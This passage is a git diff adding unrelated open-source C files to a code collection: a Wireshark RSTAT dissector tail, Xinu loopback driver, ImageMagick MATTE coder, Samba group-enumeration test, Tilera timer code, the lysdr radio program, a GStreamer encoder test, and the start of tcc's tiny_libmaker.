+static const vsff rstat4_proc[] = {
+	{ RSTATPROC_NULL,	"NULL",
+		NULL,	NULL },
+	{ RSTATPROC_STATS,	"STATS",
+		NULL,	NULL },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK",
+		NULL,	NULL },
+	{ 0,	NULL,	NULL,	NULL }
+};
+static const value_string rstat4_proc_vals[] = {
+	{ RSTATPROC_NULL,	"NULL" },
+	{ RSTATPROC_STATS,	"STATS" },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK" },
+	{ 0,	NULL }
+};
+
+void
+proto_register_rstat(void)
+{
+	static hf_register_info hf[] = {
+		{ &hf_rstat_procedure_v1, {
+			"V1 Procedure", "rstat.procedure_v1", FT_UINT32, BASE_DEC,
+			VALS(rstat1_proc_vals), 0, NULL, HFILL }},
+		{ &hf_rstat_procedure_v2, {
+			"V2 Procedure", "rstat.procedure_v2", FT_UINT32, BASE_DEC,
+			VALS(rstat2_proc_vals), 0, NULL, HFILL }},
+		{ &hf_rstat_procedure_v3, {
+			"V3 Procedure", "rstat.procedure_v3", FT_UINT32, BASE_DEC,
+			VALS(rstat3_proc_vals), 0, NULL, HFILL }},
+		{ &hf_rstat_procedure_v4, {
+			"V4 Procedure", "rstat.procedure_v4", FT_UINT32, BASE_DEC,
+			VALS(rstat4_proc_vals), 0, NULL, HFILL }}
+	};
+
+	static gint *ett[] = {
+		&ett_rstat,
+	};
+
+	proto_rstat = proto_register_protocol("RSTAT", "RSTAT", "rstat");
+	proto_register_field_array(proto_rstat, hf, array_length(hf));
+	proto_register_subtree_array(ett, array_length(ett));
+}
+
+void
+proto_reg_handoff_rstat(void)
+{
+	/* Register the protocol as RPC */
+	rpc_init_prog(proto_rstat, RSTAT_PROGRAM, ett_rstat);
+	/* Register the procedure tables */
+	rpc_init_proc_table(RSTAT_PROGRAM, 1, rstat1_proc, hf_rstat_procedure_v1);
+	rpc_init_proc_table(RSTAT_PROGRAM, 2, rstat2_proc, hf_rstat_procedure_v2);
+	rpc_init_proc_table(RSTAT_PROGRAM, 3, rstat3_proc, hf_rstat_procedure_v3);
+	rpc_init_proc_table(RSTAT_PROGRAM, 4, rstat4_proc, hf_rstat_procedure_v4);
+}
diff --git a/pool/shard001/C/0024970_loopbackGetc.c b/pool/shard001/C/0024970_loopbackGetc.c
new file mode 100644
index 0000000000000000000000000000000000000000..aee5ac62377c461942f732b531e691c898edd3f4
--- /dev/null
+++ b/pool/shard001/C/0024970_loopbackGetc.c
@@ -0,0 +1,52 @@
+/**
+ * @file     loopbackGetc.c
+ *
+ */
+/* Embedded Xinu, Copyright (C) 2009.  All rights reserved. */
+
+#include <stddef.h>
+#include <device.h>
+#include <semaphore.h>
+#include <loopback.h>
+#include <stdio.h>
+#include <interrupt.h>
+
+/**
+ * @ingroup loopback
+ *
+ * Get a character from the loopback buffer, possibly blocking.
+ *
+ * @param devptr
+ *      Pointer to the loopback device.
+ *
+ * @return
+ *      The resulting @p ch as an <code>unsigned char</code> cast to an @c int
+ *      on success; @c EOF if there is no data available and the device is in
+ *      nonblocking mode.
+ */
+devcall loopbackGetc(device *devptr)
+{
+    irqmask im;
+    struct loopback *lbkptr;
+    uchar ch;
+
+    lbkptr = &looptab[devptr->minor];
+
+    im = disable();
+
+    /* wait until the buffer has data */
+    if (LOOP_NONBLOCK == (lbkptr->flags & LOOP_NONBLOCK)) {
+        if (semcount(lbkptr->sem) <= 0) {
+            restore(im);
+            return EOF;
+        }
+    }
+
+    wait(lbkptr->sem);
+
+    /* Get and return the next character.  */
+    ch = lbkptr->buffer[lbkptr->index];
+    lbkptr->index = (lbkptr->index + 1) % LOOP_BUFFER;
+    restore(im);
+    return ch;
+}
diff --git a/pool/shard001/C/0025005_matte.c b/pool/shard001/C/0025005_matte.c
new file mode 100644
index 0000000000000000000000000000000000000000..adb1c9c173614486fbc19248112dd0f917b52d07
--- /dev/null
+++ b/pool/shard001/C/0025005_matte.c
@@ -0,0 +1,214 @@
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%                     M   M   AAA   TTTTT  TTTTT  EEEEE                       %
+%                     MM MM  A   A    T      T    E                           %
+%                     M M M  AAAAA    T      T    EEE                         %
+%                     M   M  A   A    T      T    E                           %
+%                     M   M  A   A    T      T    EEEEE                       %
+%                                                                             %
+%                                                                             %
+%                     Write Matte Channel To MIFF File.                       %
+%                                                                             %
+%                              Software Design                                %
+%                                John Cristy                                  %
+%                                 July 1992                                   %
+%                                                                             %
+%                                                                             %
+%  Copyright 1999-2007 ImageMagick Studio LLC, a non-profit organization      %
+%  dedicated to making software imaging solutions freely available.           %
+%                                                                             %
+%  You may not use this file except in compliance with the License.  You may  %
+%  obtain a copy of the License at                                            %
+%                                                                             %
+%    http://www.imagemagick.org/script/license.php                            %
+%                                                                             %
+%  Unless required by applicable law or agreed to in writing, software        %
+%  distributed under the License is distributed on an "AS IS" BASIS,          %
+%  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   %
+%  See the License for the specific language governing permissions and        %
+%  limitations under the License.                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%
+*/
+
+/*
+  Include declarations.
+*/
+#include "magick/studio.h"
+#include "magick/blob.h"
+#include "magick/blob-private.h"
+#include "magick/constitute.h"
+#include "magick/exception.h"
+#include "magick/exception-private.h"
+#include "magick/image-private.h"
+#include "magick/list.h"
+#include "magick/magick.h"
+#include "magick/memory_.h"
+#include "magick/monitor.h"
+#include "magick/quantum.h"
+#include "magick/static.h"
+#include "magick/string_.h"
+#include "magick/module.h"
+
+/*
+  Forward declarations.
+*/
+static MagickBooleanType
+  WriteMATTEImage(const ImageInfo *,Image *);
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   R e g i s t e r M A T T E I m a g e                                       %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  RegisterMATTEImage() adds attributes for the MATTE image format to
+%  the list of supported formats.  The attributes include the image format
+%  tag, a method to read and/or write the format, whether the format
+%  supports the saving of more than one frame to the same file or blob,
+%  whether the format supports native in-memory I/O, and a brief
+%  description of the format.
+%
+%  The format of the RegisterMATTEImage method is:
+%
+%      unsigned long RegisterMATTEImage(void)
+%
+*/
+ModuleExport unsigned long RegisterMATTEImage(void)
+{
+  MagickInfo
+    *entry;
+
+  entry=SetMagickInfo("MATTE");
+  entry->encoder=(EncodeImageHandler *) WriteMATTEImage;
+  entry->description=ConstantString("MATTE format");
+  entry->module=ConstantString("MATTE");
+  (void) RegisterMagickInfo(entry);
+  return(MagickImageCoderSignature);
+}
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   U n r e g i s t e r M A T T E I m a g e                                   %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  UnregisterMATTEImage() removes format registrations made by the
+%  MATTE module from the list of supported formats.
+%
+%  The format of the UnregisterMATTEImage method is:
+%
+%      UnregisterMATTEImage(void)
+%
+*/
+ModuleExport void UnregisterMATTEImage(void)
+{
+  (void) UnregisterMagickInfo("MATTE");
+}
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   W r i t e M A T T E I m a g e                                             %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  Function WriteMATTEImage() writes an image of matte bytes to a file.  It
+%  consists of data from the matte component of the image [0..255].
+%
+%  The format of the WriteMATTEImage method is:
+%
+%      MagickBooleanType WriteMATTEImage(const ImageInfo *image_info,
+%        Image *image)
+%
+%  A description of each parameter follows.
+%
+%    o image_info: The image info.
+%
+%    o image:  The image.
+%
+*/
+static MagickBooleanType WriteMATTEImage(const ImageInfo *image_info,
+  Image *image)
+{
+  Image
+    *matte_image;
+
+  long
+    y;
+
+  MagickBooleanType
+    status;
+
+  register const PixelPacket
+    *p;
+
+  register long
+    x;
+
+  register PixelPacket
+    *q;
+
+  if (image->matte == MagickFalse)
+    ThrowWriterException(CoderError,"ImageDoesNotHaveAAlphaChannel");
+  matte_image=CloneImage(image,image->columns,image->rows,MagickTrue,
+    &image->exception);
+  if (matte_image == (Image *) NULL)
+    return(MagickFalse);
+  (void) SetImageType(matte_image,TrueColorMatteType);
+  matte_image->matte=MagickFalse;
+  /*
+    Convert image to matte pixels.
+  */
+  for (y=0; y < (long) image->rows; y++)
+  {
+    p=AcquireImagePixels(image,0,y,image->columns,1,&image->exception);
+    q=SetImagePixels(matte_image,0,y,matte_image->columns,1);
+    if ((p == (const PixelPacket *) NULL) || (q == (PixelPacket *) NULL))
+      break;
+    for (x=0; x < (long) image->columns; x++)
+    {
+      q->red=p->opacity;
+      q->green=p->opacity;
+      q->blue=p->opacity;
+      q->opacity=OpaqueOpacity;
+      p++;
+      q++;
+    }
+    if (SyncImagePixels(matte_image) == MagickFalse)
+      break;
+    if (image->previous == (Image *) NULL)
+      if ((image->progress_monitor != (MagickProgressMonitor) NULL) &&
+          (QuantumTick(y,image->rows) != MagickFalse))
+        {
+          status=image->progress_monitor(SaveImageTag,y,image->rows,
+            image->client_data);
+          if (status == MagickFalse)
+            break;
+        }
+  }
+  (void) FormatMagickString(matte_image->filename,MaxTextExtent,
+    "MIFF:%s",image->filename);
+  status=WriteImage(image_info,matte_image);
+  matte_image=DestroyImage(matte_image);
+  return(status);
+}
diff --git a/pool/shard001/C/0025006_getent_grent.c b/pool/shard001/C/0025006_getent_grent.c
new file mode 100644
index 0000000000000000000000000000000000000000..782cc0c86b79392d672a8e9a9350b5cbd05bb2dd
--- /dev/null
+++ b/pool/shard001/C/0025006_getent_grent.c
@@ -0,0 +1,101 @@
+/* Test out of order operations with {set,get,end}grent */
+
+/* 
+   Unix SMB/Netbios implementation.
+   Version 1.9.
+   Security context tests
+   Copyright (C) Tim Potter 2000
+   
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+   
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+   
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software
+   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+*/
+
+#include <stdio.h>
+#include <grp.h>
+
+int main (int argc, char **argv)
+{
+	struct group *gr;
+	int found = 0;
+	int num_users, i;
+
+	/* Test getgrent() without setgrent() */
+
+	for (i = 0; i < 100; i++) {
+		gr = getgrent();
+
+		/* This is supposed to work */
+
+#if 0
+		if (gr != NULL) {
+			printf("FAIL: getgrent() with no setgrent()\n");
+			return 1;
+		}
+#endif
+	}
+
+	/* Work out how many user till first domain group */
+
+	num_users = 0;
+	setgrent();
+
+	while (1) {
+		gr = getgrent();
+		num_users++;
+
+		if (gr == NULL) break;
+
+		if (strchr(gr->gr_name, '/')) {
+			found = 1;
+			break;
+		}
+
+	}
+
+	if (!found) {
+		printf("FAIL: could not find any domain groups\n");
+		return 1;
+	}
+
+	/* Test stopping getgrent in the middle of a set of users */
+
+	endgrent();
+
+	/* Test setgrent() without any getgrent() calls */
+
+	setgrent();
+
+	for (i = 0; i < (num_users - 1); i++) {
+		getgrent();
+	}
+
+	endgrent();
+
+	/* Test lots of setgrent() calls */
+
+	for (i = 0; i < 100; i++) {
+		setgrent();
+	}
+
+	/* Test lots of endgrent() calls */
+
+	for (i = 0; i < 100; i++) {
+		endgrent();
+	}
+
+	/* Everything's cool */
+
+	printf("PASS\n");
+	return 0;
+}
diff --git a/pool/shard001/C/0025010_time.c b/pool/shard001/C/0025010_time.c
new file mode 100644
index 0000000000000000000000000000000000000000..1cfece91811b2754c2b94dcad13ad7214776fc88
--- /dev/null
+++ b/pool/shard001/C/0025010_time.c
@@ -0,0 +1,184 @@
+/*
+ * Copyright 2010 Tilera Corporation. All Rights Reserved.
+ *
+ *   This program is free software; you can redistribute it and/or
+ *   modify it under the terms of the GNU General Public License
+ *   as published by the Free Software Foundation, version 2.
+ *
+ *   This program is distributed in the hope that it will be useful, but
+ *   WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ *   NON INFRINGEMENT.  See the GNU General Public License for
+ *   more details.
+ *
+ * Support the cycle counter clocksource and tile timer clock event device.
+ */
+
+#include <linux/time.h>
+#include <linux/timex.h>
+#include <linux/clocksource.h>
+#include <linux/clockchips.h>
+#include <linux/hardirq.h>
+#include <linux/sched.h>
+#include <linux/smp.h>
+#include <linux/delay.h>
+#include <linux/module.h>
+#include <asm/irq_regs.h>
+#include <asm/traps.h>
+#include <hv/hypervisor.h>
+#include <arch/interrupts.h>
+#include <arch/spr_def.h>
+
+
+
+static cycles_t cycles_per_sec __write_once;
+
+cycles_t get_clock_rate(void)
+{
+	return cycles_per_sec;
+}
+
+#if CHIP_HAS_SPLIT_CYCLE()
+cycles_t get_cycles(void)
+{
+	unsigned int high = __insn_mfspr(SPR_CYCLE_HIGH);
+	unsigned int low = __insn_mfspr(SPR_CYCLE_LOW);
+	unsigned int high2 = __insn_mfspr(SPR_CYCLE_HIGH);
+
+	while (unlikely(high != high2)) {
+		low = __insn_mfspr(SPR_CYCLE_LOW);
+		high = high2;
+		high2 = __insn_mfspr(SPR_CYCLE_HIGH);
+	}
+
+	return (((cycles_t)high) << 32) | low;
+}
+EXPORT_SYMBOL(get_cycles);
+#endif
+
+#define SCHED_CLOCK_SHIFT 10
+
+static unsigned long sched_clock_mult __write_once;
+
+static cycles_t clocksource_get_cycles(struct clocksource *cs)
+{
+	return get_cycles();
+}
+
+static struct clocksource cycle_counter_cs = {
+	.name = "cycle counter",
+	.rating = 300,
+	.read = clocksource_get_cycles,
+	.mask = CLOCKSOURCE_MASK(64),
+	.flags = CLOCK_SOURCE_IS_CONTINUOUS,
+};
+
+void __init setup_clock(void)
+{
+	cycles_per_sec = hv_sysconf(HV_SYSCONF_CPU_SPEED);
+	sched_clock_mult =
+		clocksource_hz2mult(cycles_per_sec, SCHED_CLOCK_SHIFT);
+}
+
+void __init calibrate_delay(void)
+{
+	loops_per_jiffy = get_clock_rate() / HZ;
+	pr_info("Clock rate yields %lu.%02lu BogoMIPS (lpj=%lu)\n",
+		loops_per_jiffy/(500000/HZ),
+		(loops_per_jiffy/(5000/HZ)) % 100, loops_per_jiffy);
+}
+
+void __init time_init(void)
+{
+	
+	clocksource_register_hz(&cycle_counter_cs, cycles_per_sec);
+
+	
+	setup_tile_timer();
+}
+
+
+
+#define MAX_TICK 0x7fffffff   
+#define TILE_MINSEC 5         
+
+static int tile_timer_set_next_event(unsigned long ticks,
+				     struct clock_event_device *evt)
+{
+	BUG_ON(ticks > MAX_TICK);
+	__insn_mtspr(SPR_TILE_TIMER_CONTROL, ticks);
+	arch_local_irq_unmask_now(INT_TILE_TIMER);
+	return 0;
+}
+
+static void tile_timer_set_mode(enum clock_event_mode mode,
+				struct clock_event_device *evt)
+{
+	arch_local_irq_mask_now(INT_TILE_TIMER);
+}
+
+static DEFINE_PER_CPU(struct clock_event_device, tile_timer) = {
+	.name = "tile timer",
+	.features = CLOCK_EVT_FEAT_ONESHOT,
+	.min_delta_ns = 1000,
+	.rating = 100,
+	.irq = -1,
+	.set_next_event = tile_timer_set_next_event,
+	.set_mode = tile_timer_set_mode,
+};
+
+void __cpuinit setup_tile_timer(void)
+{
+	struct clock_event_device *evt = &__get_cpu_var(tile_timer);
+
+	
+	clockevents_calc_mult_shift(evt, cycles_per_sec, TILE_MINSEC);
+	evt->max_delta_ns = clockevent_delta2ns(MAX_TICK, evt);
+
+	
+	evt->cpumask = cpumask_of(smp_processor_id());
+
+	
+	arch_local_irq_mask_now(INT_TILE_TIMER);
+
+	
+	clockevents_register_device(evt);
+}
+
+void do_timer_interrupt(struct pt_regs *regs, int fault_num)
+{
+	struct pt_regs *old_regs = set_irq_regs(regs);
+	struct clock_event_device *evt = &__get_cpu_var(tile_timer);
+
+	arch_local_irq_mask(INT_TILE_TIMER);
+
+	
+	irq_enter();
+
+	
+	__get_cpu_var(irq_stat).irq_timer_count++;
+
+	
+	evt->event_handler(evt);
+
+	irq_exit();
+
+	set_irq_regs(old_regs);
+}
+
+unsigned long long sched_clock(void)
+{
+	return clocksource_cyc2ns(get_cycles(),
+				  sched_clock_mult, SCHED_CLOCK_SHIFT);
+}
+
+int setup_profiling_timer(unsigned int multiplier)
+{
+	return -EINVAL;
+}
+
+cycles_t ns2cycles(unsigned long nsecs)
+{
+	struct clock_event_device *dev = &__get_cpu_var(tile_timer);
+	return ((u64)nsecs * dev->mult) >> dev->shift;
+}
diff --git a/pool/shard001/C/0025026_lysdr.c b/pool/shard001/C/0025026_lysdr.c
new file mode 100644
index 0000000000000000000000000000000000000000..9ed8d444c10a97f0e55038d0f90ec55a9cabdb17
--- /dev/null
+++ b/pool/shard001/C/0025026_lysdr.c
@@ -0,0 +1,93 @@
+/*  lysdr Software Defined Radio
+	(C) 2010-2011 Gordon JC Pearce MM0YEQ and others
+
+	lysdr.c
+	A simple software-defined radio for Linux
+
+	This file is part of lysdr.
+
+	lysdr is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 2 of the License, or
+	any later version.
+
+	lysdr is distributed in the hope that it will be useful, but
+	WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with lysdr.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <gtk/gtk.h>
+#include <stdlib.h>
+
+#include "sdr.h"
+#include "audio_jack.h"
+#include "filter.h"
+
+extern void gui_display(sdr_data_t *sdr);  // ugh, there should be a header file for the GUI
+sdr_data_t *sdr;
+
+static gboolean connect_input = FALSE;
+static gboolean connect_output = FALSE;
+static gint centre_freq = 0;
+static gint fft_size = 1024;
+
+static GOptionEntry opts[] =
+{
+	{ "ci", 0, 0, G_OPTION_ARG_NONE, &connect_input, "Autoconnect input to first two jack capture ports", NULL },
+	{ "co", 0, 0, G_OPTION_ARG_NONE, &connect_output, "Autoconnect output to first two jack playback ports", NULL },
+	{ "freq", 'f', 0, G_OPTION_ARG_INT, &centre_freq, "Set the centre frequency in Hz", "FREQUENCY" },
+	{ "fft-size", 'F', 0, G_OPTION_ARG_INT, &fft_size, "Set the FFT size (default=1024)", "FFT_SIZE" },
+	{ NULL }
+};
+
+int main(int argc, char *argv[]) {
+	GError *error = NULL;
+	GOptionContext *context;
+
+
+	printf("lysdr starting\n");
+
+	// gtk3 remove threads, see how badly things go wrong
+	//gdk_threads_init();
+	//gdk_threads_enter();
+
+	gtk_init(&argc, &argv);
+
+	context = g_option_context_new ("-");
+	g_option_context_add_main_entries (context, opts, NULL);
+	g_option_context_add_group (context, gtk_get_option_group (TRUE));
+	if (!g_option_context_parse (context, &argc, &argv, &error)) {
+		g_print ("option parsing failed: %s\n", error->message);
+		exit (1);
+	}
+
+	// create a new SDR, and set up the jack client
+	sdr = sdr_new(fft_size);
+	audio_start(sdr);
+
+	// define a filter and configure a default shape
+	sdr->filter = filter_fir_new(128, sdr->size);
+
+	// hook up the jack ports and start the client
+	fft_setup(sdr);
+	audio_connect(sdr, connect_input, connect_output);
+
+	sdr->centre_freq = centre_freq;
+
+	gui_display(sdr);
+	gtk_adjustment_set_value(GTK_ADJUSTMENT(sdr->tuning), 0);
+
+	gtk_main();
+	audio_stop(sdr);
+	filter_fir_destroy(sdr->filter);
+	fft_teardown(sdr);
+
+	sdr_destroy(sdr);
+	//gdk_threads_leave();
+}
+
+/* vim: set noexpandtab ai ts=4 sw=4 tw=4: */
diff --git a/pool/shard001/C/0025031_voamrwbenc.c b/pool/shard001/C/0025031_voamrwbenc.c
new file mode 100644
index 0000000000000000000000000000000000000000..1a8bf4eb69e6c247dfa3630bde69acdbd0dd528e
--- /dev/null
+++ b/pool/shard001/C/0025031_voamrwbenc.c
@@ -0,0 +1,179 @@
+/* GStreamer
+ *
+ * unit test for voamrwbenc
+ *
+ * Copyright (C) <2011> Mark Nauwelaerts <mark.nauwelaerts@collabora.co.uk>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
+ * Boston, MA 02110-1301, USA.
+ */
+
+#include <unistd.h>
+
+#include <gst/check/gstcheck.h>
+
+/* For ease of programming we use globals to keep refs for our floating
+ * src and sink pads we create; otherwise we always have to do get_pad,
+ * get_peer, and then remove references in every test function */
+static GstPad *mysrcpad, *mysinkpad;
+
+#if G_BYTE_ORDER == G_BIG_ENDIAN
+#define AFORMAT "S16BE"
+#else
+#define AFORMAT "S16LE"
+#endif
+
+#define AUDIO_CAPS_STRING "audio/x-raw, " \
+                           "format = (string) " AFORMAT ", "\
+                           "layout = (string) interleaved, " \
+                           "rate = (int) 16000, " \
+                           "channels = (int) 1 "
+
+
+#define AMRWB_CAPS_STRING "audio/AMR-WB"
+
+
+static GstStaticPadTemplate sinktemplate = GST_STATIC_PAD_TEMPLATE ("sink",
+    GST_PAD_SINK,
+    GST_PAD_ALWAYS,
+    GST_STATIC_CAPS (AMRWB_CAPS_STRING));
+
+
+static GstStaticPadTemplate srctemplate = GST_STATIC_PAD_TEMPLATE ("src",
+    GST_PAD_SRC,
+    GST_PAD_ALWAYS,
+    GST_STATIC_CAPS (AUDIO_CAPS_STRING));
+
+
+static GstElement *
+setup_voamrwbenc (void)
+{
+  GstElement *voamrwbenc;
+
+  GST_DEBUG ("setup_voamrwbenc");
+  voamrwbenc = gst_check_setup_element ("voamrwbenc");
+  /* ensure mode as expected */
+  g_object_set (voamrwbenc, "band-mode", 0, NULL);
+  mysrcpad = gst_check_setup_src_pad (voamrwbenc, &srctemplate);
+  mysinkpad = gst_check_setup_sink_pad (voamrwbenc, &sinktemplate);
+  gst_pad_set_active (mysrcpad, TRUE);
+  gst_pad_set_active (mysinkpad, TRUE);
+
+  return voamrwbenc;
+}
+
+static void
+cleanup_voamrwbenc (GstElement * voamrwbenc)
+{
+  GST_DEBUG ("cleanup_aacenc");
+  gst_element_set_state (voamrwbenc, GST_STATE_NULL);
+
+  gst_pad_set_active (mysrcpad, FALSE);
+  gst_pad_set_active (mysinkpad, FALSE);
+  gst_check_teardown_src_pad (voamrwbenc);
+  gst_check_teardown_sink_pad (voamrwbenc);
+  gst_check_teardown_element (voamrwbenc);
+}
+
+static void
+do_test (void)
+{
+  GstElement *voamrwbenc;
+  GstBuffer *inbuffer, *outbuffer;
+  GstCaps *caps;
+  gint i, num_buffers;
+  const gint nbuffers = 10;
+
+  voamrwbenc = setup_voamrwbenc ();
+  fail_unless (gst_element_set_state (voamrwbenc,
+          GST_STATE_PLAYING) == GST_STATE_CHANGE_SUCCESS,
+      "could not set to playing");
+
+  /* corresponds to audio buffer mentioned in the caps */
+  inbuffer = gst_buffer_new_and_alloc (320 * nbuffers * 2);
+  /* makes valgrind's memcheck happier */
+  gst_buffer_memset (inbuffer, 0, 0, 1024 * nbuffers * 2 * 2);
+  caps = gst_caps_from_string (AUDIO_CAPS_STRING);
+
+  gst_check_setup_events (mysrcpad, voamrwbenc, caps, GST_FORMAT_TIME);
+  gst_caps_unref (caps);
+  GST_BUFFER_TIMESTAMP (inbuffer) = 0;
+  ASSERT_BUFFER_REFCOUNT (inbuffer, "inbuffer", 1);
+  fail_unless (gst_pad_push (mysrcpad, inbuffer) == GST_FLOW_OK);
+
+  /* send eos to have all flushed if needed */
+  fail_unless (gst_pad_push_event (mysrcpad, gst_event_new_eos ()) == TRUE);
+
+  num_buffers = g_list_length (buffers);
+  fail_unless_equals_int (num_buffers, nbuffers);
+
+  /* clean up buffers */
+  for (i = 0; i < num_buffers; ++i) {
+    GstMapInfo map;
+    gsize size;
+    guint8 *data;
+    GstClockTime time, dur;
+
+    outbuffer = GST_BUFFER (buffers->data);
+    fail_if (outbuffer == NULL);
+
+    gst_buffer_map (outbuffer, &map, GST_MAP_READ);
+    data = map.data;
+    size = map.size;
+
+    /* at least for mode 0 */
+    fail_unless (size == 18);
+    fail_unless ((data[0] & 0x83) == 0);
+    fail_unless (((data[0] >> 3) & 0xF) == 0);
+
+    time = GST_BUFFER_TIMESTAMP (outbuffer);
+    dur = GST_BUFFER_DURATION (outbuffer);
+    fail_unless (time == 20 * GST_MSECOND * i);
+    fail_unless (dur == 20 * GST_MSECOND);
+    gst_buffer_unmap (outbuffer, &map);
+
+    buffers = g_list_remove (buffers, outbuffer);
+
+    ASSERT_BUFFER_REFCOUNT (outbuffer, "outbuffer", 1);
+    gst_buffer_unref (outbuffer);
+    outbuffer = NULL;
+  }
+
+  cleanup_voamrwbenc (voamrwbenc);
+  g_list_free (buffers);
+  buffers = NULL;
+}
+
+GST_START_TEST (test_enc)
+{
+  do_test ();
+}
+
+GST_END_TEST;
+
+
+static Suite *
+voamrwbenc_suite (void)
+{
+  Suite *s = suite_create ("voamrwbenc");
+  TCase *tc_chain = tcase_create ("general");
+
+  suite_add_tcase (s, tc_chain);
+  tcase_add_test (tc_chain, test_enc);
+
+  return s;
+}
+
+GST_CHECK_MAIN (voamrwbenc);
diff --git a/pool/shard001/C/0025038_tiny_libmaker.c b/pool/shard001/C/0025038_tiny_libmaker.c
new file mode 100644
index 0000000000000000000000000000000000000000..62d2a2e00d3daecc61389aae81be16d88ecac9c2
--- /dev/null
+++ b/pool/shard001/C/0025038_tiny_libmaker.c
@@ -0,0 +1,258 @@
+/*
+ * This program is for making libtcc1.a without ar
+ * tiny_libmaker - tiny elf lib maker
+ * usage: tiny_libmaker [lib] files...
+ * Copyright (c) 2007 Timppa
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "../../elf.h"
+
+#ifdef TCC_TARGET_X86_64
+# define ELFCLASSW ELFCLASS64
+# define ElfW(type) Elf##64##_##type
+# define ELFW(type) ELF##64##_##type
+#else
+# define ELFCLASSW ELFCLASS32
+# define ElfW(type) Elf##32##_##type
+# define ELFW(type) ELF##32##_##type
+#endif
+
+#define ARMAG  "!<arch>\n"
+#define ARFMAG "`\n"
+
+typedef struct ArHdr {
+    char ar_name[16];
+    char ar_date[12];
+    char ar_uid[6];
+    char ar_gid[6];
+    char ar_mode[8];
+    char ar_size[10];
+    char ar_fmag[2];
+} ArHdr;
+
+unsigned long le2belong(unsigned long ul) {
+    return ((ul & 0xFF0000)>>8)+((ul & 0xFF000000)>>24) +
+        ((ul & 0xFF)<<24)+((ul & 0xFF00)<<8);
+}
+
+ArHdr arhdr = {
+    "/               ",
+    "            ",
+    "0     ",
+    "0     ",
+    "0       ",
+    "          ",
+    ARFMAG
+    };
+
+ArHdr arhdro = {
+    "                ",
+    "            ",
+    "0     ",
+    "0     ",
+    "0       ",
+    "          ",
+    ARFMAG
+    };
+
+int main(int argc, char **argv)
+{
+    FILE *fi, *fh = NULL, *fo = NULL;
+    ElfW(Ehdr) *ehdr;
+    ElfW(Shdr) *shdr;
+    ElfW(Sym) *sym;
+    int i, fsize, iarg;
+    char *buf, *shstr, *symtab = NULL, *strtab = NULL;
+    int symtabsize = 0;//, strtabsize = 0;
+    char *anames = NULL;
+    int *afpos = NULL;
+    int istrlen, strpos = 0, fpos = 0, funccnt = 0, funcmax, hofs;
+    char afile[260], tfile[260], stmp[20];
+    char *file, *name;
+    int ret = 2;
+
+
+    strcpy(afile, "ar_test.a");
